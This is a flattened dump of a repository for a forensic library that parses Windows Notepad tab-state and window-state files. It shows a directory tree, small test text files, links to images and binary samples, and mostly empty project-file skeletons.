├── NotepadStateLibrary
├── TestApp
│ ├── TestFiles
│ │ ├── WordWrapOff.1.bin
│ │ ├── SavedFile
│ │ │ ├── SavedFile-Long.1.bin
│ │ │ ├── SavedFile-Selection.1.bin
│ │ │ ├── SavedFile-Short.1.bin
│ │ │ ├── SavedFile-Short.txt
│ │ │ ├── SavedFile-LargeCopyPaste-Closed.txt
│ │ │ ├── SavedFile-LargeCopyPaste-NotClosed.txt
│ │ │ ├── SavedFile-UnsavedChanges-Closed.txt
│ │ │ ├── SavedFile-UnsavedChanges-NotClosed.txt
│ │ │ ├── SavedFile-Selection.txt
│ │ │ ├── SavedFile-Long.bin
│ │ │ ├── SavedFile-Short.bin
│ │ │ ├── SavedFile-Long.0.bin
│ │ │ ├── SavedFile-Short.0.bin
│ │ │ ├── SavedFile-Selection.bin
│ │ │ ├── SavedFile-Selection.0.bin
│ │ │ ├── SavedFile-LargeCopyPaste-Closed.bin
│ │ │ ├── SavedFile-UnsavedChanges-Closed.bin
│ │ │ ├── SavedFile-LargeCopyPaste-NotClosed.bin
│ │ │ └── SavedFile-UnsavedChanges-NotClosed.bin
│ │ ├── Encoding
│ │ │ ├── EncodingANSI.txt
│ │ │ ├── EncodingUTF8.txt
│ │ │ ├── EncodingUTF8BOM.txt
│ │ │ ├── EncodingANSI.bin
│ │ │ ├── EncodingUTF8.bin
│ │ │ ├── EncodingUTF16BE.bin
│ │ │ ├── EncodingUTF16BE.txt
│ │ │ ├── EncodingUTF16LE.bin
│ │ │ ├── EncodingUTF16LE.txt
│ │ │ └── EncodingUTF8BOM.bin
│ │ ├── CarriageReturn
│ │ │ ├── MacintoshCR.txt
│ │ │ ├── UnixLF.txt
│ │ │ ├── WindowsCRLF.txt
│ │ │ ├── UnixLF.bin
│ │ │ ├── MacintoshCR.bin
│ │ │ └── WindowsCRLF.bin
│ │ ├── WordWrapOn.bin
│ │ ├── WordWrapOff.bin
│ │ └── WordWrapOff.0.bin
│ ├── TestApp.csproj
│ └── Program.cs
├── xUnitTests
│ └── TestFiles
│ │ ├── TextFiles
│ │ ├── SavedFile-Short.txt
│ │ └── SavedFile-Short-UnsavedChanges.txt
│ │ └── 11.2504.62.0
│ │ ├── TabState
│ │ ├── 00bc8eb6-b8bb-459b-973a-a998b734b47c.1.bin
│ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.1.bin
│ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin
│ │ ├── 215c7345-13c2-440a-b6bb-df737db3f327.bin
│ │ ├── 3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin
│ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin
│ │ ├── abb3d672-e5d2-4994-9bc3-483a44805b16.bin
│ │ ├── 00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin
│ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin
│ │ ├── 1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin
│ │ ├── 8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin
│ │ └── 00bc8eb6-b8bb-459b-973a-a998b734b47c.bin
│ │ └── WindowState
│ │ ├── 7e53e928-c430-4045-95f5-0619f1d906dd.0.bin
│ │ └── 7e53e928-c430-4045-95f5-0619f1d906dd.1.bin
├── ValidationTests
│ ├── ValidationResults.db
│ ├── ValidationTests.csproj
│ └── Program.cs
├── NotepadStateLibrary
│ ├── NotepadStateLibrary.csproj
│ ├── WindowXY.cs
│ ├── CRC32Check.cs
│ ├── UnsavedBufferChunk.cs
│ ├── LEB128Converter.cs
│ ├── NPWindowState.cs
│ └── NPTabState.cs
├── POCMalware
│ ├── App.config
│ ├── GaslitPad.csproj
│ ├── Exfiltrate.cs
│ ├── InputTimer.cs
│ ├── wp-config.php
│ └── Program.cs
├── WindowStateEditor
│ ├── WindowStateEditor.csproj
│ └── Program.cs
├── WindowsNotepadParser-Minimal
│ ├── WindowsNotepadParser-Minimal.csproj
│ ├── CSVMaps.cs
│ └── Program.cs
├── WindowsNotepadParser
│ ├── WindowsNotepadParser.csproj
│ ├── ContentToImage.cs
│ ├── CSVMaps.cs
│ └── Program.cs
└── NotepadStateLibrary.sln
├── Images
├── Font.png
├── AppTheme.png
├── Notepad.png
├── OpenFile.png
├── Settings.png
├── AutoCorrect.png
├── FontFamily.png
├── SmokingGun.gif
├── Spellcheck.png
├── Type Letter.png
├── Unsaved Dot.png
├── Windowstate.png
├── Delete Letter.png
├── Insert Letter.png
├── StartBehavior.png
├── State - File.png
├── WordWrap-Tab.png
├── Overwrite Text.png
├── RegistryViewer.png
├── Scenario - Saved.png
├── State - No File.png
├── Deleted Text Block.png
├── Pasted Text Block.png
├── RightClickOptions.png
├── Scenario - Changes.gif
├── Scenario - Collect.gif
├── Scenario - Unsaved.png
├── TeachingTipVersion.png
├── Unsaved File - New.png
├── Saved File - Changes.png
├── Scenario - Original.gif
├── Saved File - Read Only.png
├── Unsaved File - Reopened.png
├── Scenario - Reconstructed.gif
└── Unsaved File - Reopened with changes.png
├── Release-Packages
└── WindowsNotepadParser-v1.0.0.zip
├── PatternFiles
├── Windowstate
│ ├── Notepad-WindowState.hexpat
│ └── Notepad-WindowState.bt
└── Tabstate
│ ├── Notepad-TabState.bt
│ └── Notepad-TabState.hexpat
├── LICENSE
├── .gitignore
├── README.md
└── DFIR Review - Is that Windows Notepad Window really empty.md
/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.txt:
--------------------------------------------------------------------------------
1 | ANSI Encoding
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.txt:
--------------------------------------------------------------------------------
1 | UTF8 Encoding
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.txt:
--------------------------------------------------------------------------------
1 | Macintosh CR
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.txt:
--------------------------------------------------------------------------------
1 | Unix LF
2 |
3 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.txt:
--------------------------------------------------------------------------------
1 | UTF8 BOM Encoding
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.txt:
--------------------------------------------------------------------------------
1 | Windows CRLF
2 |
3 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.txt:
--------------------------------------------------------------------------------
1 | Saved file short
2 |
3 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/TextFiles/SavedFile-Short.txt:
--------------------------------------------------------------------------------
1 | Saved file short
2 |
--------------------------------------------------------------------------------
/Images/Font.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Font.png
--------------------------------------------------------------------------------
/Images/AppTheme.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/AppTheme.png
--------------------------------------------------------------------------------
/Images/Notepad.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Notepad.png
--------------------------------------------------------------------------------
/Images/OpenFile.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/OpenFile.png
--------------------------------------------------------------------------------
/Images/Settings.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Settings.png
--------------------------------------------------------------------------------
/Images/AutoCorrect.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/AutoCorrect.png
--------------------------------------------------------------------------------
/Images/FontFamily.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/FontFamily.png
--------------------------------------------------------------------------------
/Images/SmokingGun.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/SmokingGun.gif
--------------------------------------------------------------------------------
/Images/Spellcheck.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Spellcheck.png
--------------------------------------------------------------------------------
/Images/Type Letter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Type Letter.png
--------------------------------------------------------------------------------
/Images/Unsaved Dot.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved Dot.png
--------------------------------------------------------------------------------
/Images/Windowstate.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Windowstate.png
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.1.bin:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/TextFiles/SavedFile-Short-UnsavedChanges.txt:
--------------------------------------------------------------------------------
1 | Saved file short
2 |
--------------------------------------------------------------------------------
/Images/Delete Letter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Delete Letter.png
--------------------------------------------------------------------------------
/Images/Insert Letter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Insert Letter.png
--------------------------------------------------------------------------------
/Images/StartBehavior.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/StartBehavior.png
--------------------------------------------------------------------------------
/Images/State - File.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/State - File.png
--------------------------------------------------------------------------------
/Images/WordWrap-Tab.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/WordWrap-Tab.png
--------------------------------------------------------------------------------
/Images/Overwrite Text.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Overwrite Text.png
--------------------------------------------------------------------------------
/Images/RegistryViewer.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/RegistryViewer.png
--------------------------------------------------------------------------------
/Images/Scenario - Saved.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Saved.png
--------------------------------------------------------------------------------
/Images/State - No File.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/State - No File.png
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.txt:
--------------------------------------------------------------------------------
1 | Saved file with large copy paste
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.txt:
--------------------------------------------------------------------------------
1 | Saved file with large copy paste
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.txt:
--------------------------------------------------------------------------------
1 | Saved File but with unsaved changes
--------------------------------------------------------------------------------
/Images/Deleted Text Block.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Deleted Text Block.png
--------------------------------------------------------------------------------
/Images/Pasted Text Block.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Pasted Text Block.png
--------------------------------------------------------------------------------
/Images/RightClickOptions.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/RightClickOptions.png
--------------------------------------------------------------------------------
/Images/Scenario - Changes.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Changes.gif
--------------------------------------------------------------------------------
/Images/Scenario - Collect.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Collect.gif
--------------------------------------------------------------------------------
/Images/Scenario - Unsaved.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Unsaved.png
--------------------------------------------------------------------------------
/Images/TeachingTipVersion.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/TeachingTipVersion.png
--------------------------------------------------------------------------------
/Images/Unsaved File - New.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - New.png
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.txt:
--------------------------------------------------------------------------------
1 | Saved File but with unsaved changes
--------------------------------------------------------------------------------
/Images/Saved File - Changes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Saved File - Changes.png
--------------------------------------------------------------------------------
/Images/Scenario - Original.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Original.gif
--------------------------------------------------------------------------------
/Images/Saved File - Read Only.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Saved File - Read Only.png
--------------------------------------------------------------------------------
/Images/Unsaved File - Reopened.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - Reopened.png
--------------------------------------------------------------------------------
/Images/Scenario - Reconstructed.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Scenario - Reconstructed.gif
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.txt:
--------------------------------------------------------------------------------
1 | This text will have a selection in it THIS TEXT HAS BEEN SELECTED
--------------------------------------------------------------------------------
/Images/Unsaved File - Reopened with changes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Images/Unsaved File - Reopened with changes.png
--------------------------------------------------------------------------------
/Release-Packages/WindowsNotepadParser-v1.0.0.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/Release-Packages/WindowsNotepadParser-v1.0.0.zip
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/WordWrapOn.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOn.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/WordWrapOff.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/ValidationTests/ValidationResults.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/ValidationTests/ValidationResults.db
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/UnixLF.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingANSI.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16BE.txt
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF16LE.txt
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/Encoding/EncodingUTF8BOM.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/MacintoshCR.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/CarriageReturn/WindowsCRLF.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Long.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Short.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-Selection.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-Closed.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-Closed.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-LargeCopyPaste-NotClosed.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/TestApp/TestFiles/SavedFile/SavedFile-UnsavedChanges-NotClosed.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/215c7345-13c2-440a-b6bb-df737db3f327.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/215c7345-13c2-440a-b6bb-df737db3f327.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/3249c0ef-a5ef-4dc6-bb00-b84a1dab317f.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/abb3d672-e5d2-4994-9bc3-483a44805b16.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/abb3d672-e5d2-4994-9bc3-483a44805b16.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/1d971dfe-9e67-4849-a7e5-a46f4100ad0b.1.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/8508552a-b3e8-46d6-9203-9c75dd0b24a5.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.0.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.0.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.1.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ogmini/Notepad-State-Library/HEAD/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/WindowState/7e53e928-c430-4045-95f5-0619f1d906dd.1.bin
--------------------------------------------------------------------------------
/NotepadStateLibrary/xUnitTests/TestFiles/11.2504.62.0/TabState/00bc8eb6-b8bb-459b-973a-a998b734b47c.bin:
--------------------------------------------------------------------------------
1 | NP yC : \ U s e r s \ R e v e r s i n g \ D o c u m e n t s \ N o t e p a d - S t a t e - L i b r a r y \ N o t e p a d S t a t e L i b r a r y \ x U n i t T e s t s \ T e s t F i l e s \ T e x t F i l e s \ S a v e d F i l e - S h o r t . t x t !yt*
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/NotepadStateLibrary.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | net8.0
5 | enable
6 | enable
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/TestApp/TestApp.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/NotepadStateLibrary/WindowXY.cs:
--------------------------------------------------------------------------------
1 | namespace NotepadStateLibrary
2 | {
3 | public struct WindowXY
4 | {
5 | ///
6 | ///
7 | ///
8 | public int X { get; }
9 | ///
10 | ///
11 | ///
12 | public int Y { get; }
13 |
14 | ///
15 | ///
16 | ///
17 | ///
18 | ///
19 | public WindowXY(int x, int y)
20 | {
21 | X = x;
22 | Y = y;
23 | }
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/ValidationTests/ValidationTests.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | enable
7 | enable
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 | Always
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/POCMalware/GaslitPad.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | enable
7 | enable
8 | 1.0.0
9 | ogmini
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/NotepadStateLibrary/WindowStateEditor/WindowStateEditor.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Exe
5 | net8.0
6 | enable
7 | enable
8 | ogmini
9 | 0.0.1
